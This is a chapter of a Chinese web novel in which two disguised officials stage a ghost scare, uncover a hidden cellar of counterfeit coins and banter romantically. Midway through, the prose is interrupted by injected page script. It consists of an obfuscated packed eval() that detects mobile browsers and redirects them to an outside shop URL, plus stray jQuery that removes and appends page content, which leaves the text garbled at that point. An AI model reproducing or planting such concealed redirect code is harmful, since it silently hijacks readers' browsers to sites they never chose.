61. 谢侍郎绑架啦

作品:《权奕双璧

    景水赶到时,廊下风卷着厨房的烟火气扑脸,一道披头散发的白影竟足不沾地,直挺挺朝他飘来。


    他惊得后退半步,抬眼便撞进一张光滑无五官的脸,那惨白的面皮在昏暗中泛着冷光。


    景水的嗓子像被无形的手攥紧,半点声音也挤不出来。


    燕修延在暗处尖细的哭嚎,裹着怨毒的颤音:“王爷!你害的梦雨好苦啊!”


    “那是个足月的男胎呀!”


    “那是你亲手抛下的亲生骨肉啊!”


    无脸鬼飘得更近,衣袂擦过景水的鼻尖,带着一股冷腻的脂粉味。


    景水终于挣开那股窒息感,声音抖得不成调:“我不是什么王爷!我是太仆寺景水!冤有头债有主,你寻错人了!”


    温瑞顿住,身形僵了僵,似在分辨这话的真假。


    燕修延又喊,尾音却悄悄压了几分:“可你身上有王爷的气息!你定是在骗我!天下男人都是负心汉!”


    话落,他趁谢伟恒未开口,飞快偏头低声补了句:“谢大人,我知道你不是。”


    “无脸鬼”抬手,那只涂满白粉的手枯瘦如爪,眼看要碰到景水。


    景水“扑通”跪倒在地,额头磕在青石板上,闷响一声:“我真不是!景家世代寒门,从未出过王爷!”


    “无脸鬼”歪了歪头,空荡荡的脸对着景水,像是听进了这话。


    随即猛地转头,朝着中书令府的方向望去,那处夜色沉沉,檐角隐在树影里。


    “我知道他在哪儿了!”


    “无脸鬼”陡然拔地而起,竟是真如旱地拔葱一般,轻飘飘越过景府的墙头,眨眼便消失在夜色里。


    燕修延从暗处探出头,戳了戳谢伟恒的胳膊,小声挑眉:“温瑞这功夫,怎么样?”


    谢伟恒淡淡瞥他:“没有你好。”


    燕修延撇嘴:“……我学的轻功不是这种。”


    “不论是哪种,你都是最好的。”


    谢伟恒的声音轻缓,裹着夜色的温柔。


    “快!快救火!”


    景水半晌才回神,连滚带爬起身,扯着嗓子催下人。


    火是燕修延早布下的小引,只烧了厨房一角,扑救得快,没蔓延开来。


    景水在厨房外绕着圈,走到柴垛旁时忽然顿住,指尖捻了捻地上烧焦的木屑,转头吩咐管家:“夜深了,修缮的事明日再议,明早的朝食,让人上街去买。”


    待人潮散去,夜色重归寂静,燕修延和谢伟恒穿着白衣披散着头发,带着罗刹面具走到景水停顿过的地方。


    这模样凡来个人看见了他们,怕是魂都要吓飞了。


    燕修延抬脚拨开柴垛下烧焦的树枝,露出一块盖着木板的地口,语气笃定:“像是个地窖。”


    木板上挂着一把黄铜小锁,看着不起眼,却锁得严实。


    小意思。


    不一会,“咔哒”一声,锁开了。


    燕修延随手摸出张废纸,用火折子点着丢进去,见纸张燃得顺畅,便知里面通风。


    两人弯腰顺着台阶往下走。


    谢伟恒掏出两颗夜明珠,莹白的光映亮了地窖,他递过一颗给燕修延。


    燕修延接过来,借着光打量地窖,四壁堆着腊味筐和干货,一股子咸腥混着烟火的味道。


    他随口调侃:“谢大人倒像个百宝箱,什么都有……你贴我这么近做什么?”


    夜明珠的光打在罗刹面具上,眼窝处的黑洞透着瘆人!


    谢伟恒抬手摘下面具,俊朗的眉眼在微光里柔和,轻声道:“我怕黑。”


    燕修延会信么?


    显然不会。


    他嗤笑,抬脚就往谢伟恒脚面踩去,眼看要碰到。


    谢伟恒却半点没挪,反而轻笑:“民间俗语,打是亲,骂是爱,爱到深处用脚踹。”


    燕修延一声不吭的把脚收回来。


    谢伟恒露出遗憾的表情。


    地窖里的气味很杂,腊味、霉味,还有不知明的味道。


    燕修延拉过谢伟恒的袖子捂在鼻子上。


    谢伟恒的衣服用沉香熏过,清冽的香气用来盖味道刚刚好。。


    燕修延:“回头也让人给我熏个。”


    他以前总觉得熏衣服娘们唧唧,现在倒觉得挺不错。


    谢伟恒应得爽快:“好。”


    燕修延用脚踢踢放满东西的筐子:“如果景家把私铸钱藏在这里,估计是有暗室。”


    地窖门上就那么一把小锁,别人想进来还是很容易的。


    谢伟恒指尖一寸一寸在墙壁上摸索,指尖抚过粗糙的石壁,不放过半点异样。


    “这么大地窖,你这么摸,摸到明天早上都摸不完。”


    燕修延其实也没想到什么好办法,但这不妨碍他嘲讽谢伟恒。


    谢伟恒笑了笑,眼底盛着微光:“我素来运气不错。”


    话音刚落,他的指尖顿住,触到一处石壁,手感竟比别处光滑许多,像是被人反复摩挲过。


    谢伟恒稍一用力,按向石壁的凹陷处,“轰隆”一声轻响,那片石壁竟缓缓向旁滑开,露出一个仅容一人通过的窄口,里面透着更浓的铜锈味。


    燕修延沉默了一下,半晌没说话。


    他跟着谢伟恒走进去,拐过一道弯,他忽然道:“你陪我去赌场吧。”


    燕修延手气素来差,就算赌场不做手脚,也能输得底朝天。


    谢伟恒失笑:“在家陪你赌便是,赢了也是你的。”


    “那有什么意思,”燕修延撇嘴,“左口袋进右口袋,没滋味,要赢就赢别人的钱。”


    谢伟恒眼中的笑意更深,揉了揉他的头发:“好,陪你去赢别人的钱。”


    “嚯!这么多铜板!”


    燕修延眼前忽然豁然开朗,莹白的夜明珠光里,几十个大箩筐摆得整整齐齐,筐里满满当当都是铜钱,堆得快溢出来。


    抓了一把在手里,松开手。


    是铜钱“叮当叮当”落在筐沿,清脆的声响在静夜里格外动听。


    “怪不得人人都爱财,这声音是真好听。”


    燕修延啧啧感叹,掏出怀里的官制铜钱对比,私铸的铜钱边缘粗糙,分量也轻些,一眼便能分辨。


    确实是私铸钱。


    “行了,咱们走。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646219|206799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    燕修延拍拍手,指尖沾了点铜锈,凑到鼻子下闻了闻,“一股子腊味,定是混在腊味筐里带进京城的,倒藏得隐蔽。”


    谢伟恒忽然从身后覆上他的口鼻,清冽的沉香裹着他的掌心温度:“走。”


    燕修延含糊嘟囔:“谢侍郎绑架啦。”


    谢伟恒失笑,拦腰抱起燕修延随后又放下——入口太窄,抱着过不去,除非扛着。


    燕修延挑眉笑话他:“小谢侍郎不行啊。”


    说完,身子像泥鳅般溜滑,贴着石壁窜了出去,动作干脆利落,回头还冲谢伟恒眨了眨眼。


    两人重新锁上地窖的锁。


    刚直起身,就听见不远处传来细碎的脚步声,伴着压低的交谈。


    两人对视一眼,纵身跃上旁边的老槐树,藏在浓密的枝叶间。


    来的是景水和景府管家。


    两人都没提灯笼,厨房这边的灯全灭了,只有远处廊下漏来一点微光,他们走得深一脚浅一脚。


    厨房莫名失火,景水的脸色在昏暗中透着焦躁。


    他心里总悬着一块石头,那无脸鬼的模样还在眼前晃,本想独自来查,又怕真的撞鬼,只得拉上管家壮胆。


    两人掀开木板,摸进地窖,半晌才出来,景水的脸色松了些,想来是确认了私铸钱安然无恙。


    刚要转身,管家忽然死死抓住景水的袖子。


    “老、老、老爷……你看树上……”


    景水心头一紧,顺着他的目光抬头,树影间立着两道白衣身影,黑发披散,在夜风里轻轻飘动,像极了方才的无脸鬼。


    他腿一软,嗓子里挤出一声惨叫:“鬼、鬼啊!”


    话音未落,燕修延和谢伟恒同时从树上跃下,夜风卷开遮脸的发丝,露出脸上狰狞的罗刹面具,眼窝黑洞洞,獠牙翻卷,在微光里看着格外瘆人。


    景水和管家见这模样,眼前一黑,齐齐晕了过去。


    那晕倒的姿势却格外别致。


    管家直挺挺平躺,景水竟一头栽下去,脸正怼在管家脸上。


    换而言之就是脸贴着脸,嘴对着嘴。


    出了方家,燕修延随意束起头发、摘掉面具,憋笑憋得肩膀发抖,掐着谢伟恒的胳膊才没笑出声。


    大晚上的,不好笑的太大声。。


    一回到住处,关上门的瞬间,燕修延再也忍不住,放声大笑起来,笑得直揉肚子:“哈哈哈!真的是只要活得久,什么都能见得着!你说他们明天醒来,看见那模样,得是什么表情?哈哈哈!”


    谢伟恒靠在门边,眉眼含笑,笑得不如燕修延夸张,却也眼底带暖:“若是醒得迟些,被景家下人撞见,那才更有趣。”


    燕修延点着他的胸口,笑眼弯弯:“谢大人,论损,还是你更胜一筹啊。”


    谢伟恒握住他的指尖,轻轻摩挲,声音温柔:“哪里,都是燕夫子教的好。”


    ——————————————


    下章预告:


    谢伟恒想要抽回手腕:“大约是不小心在哪里撞到了。”


    燕修延手上微微用力:“扯吧,你给我演示下怎么能撞到内侧……”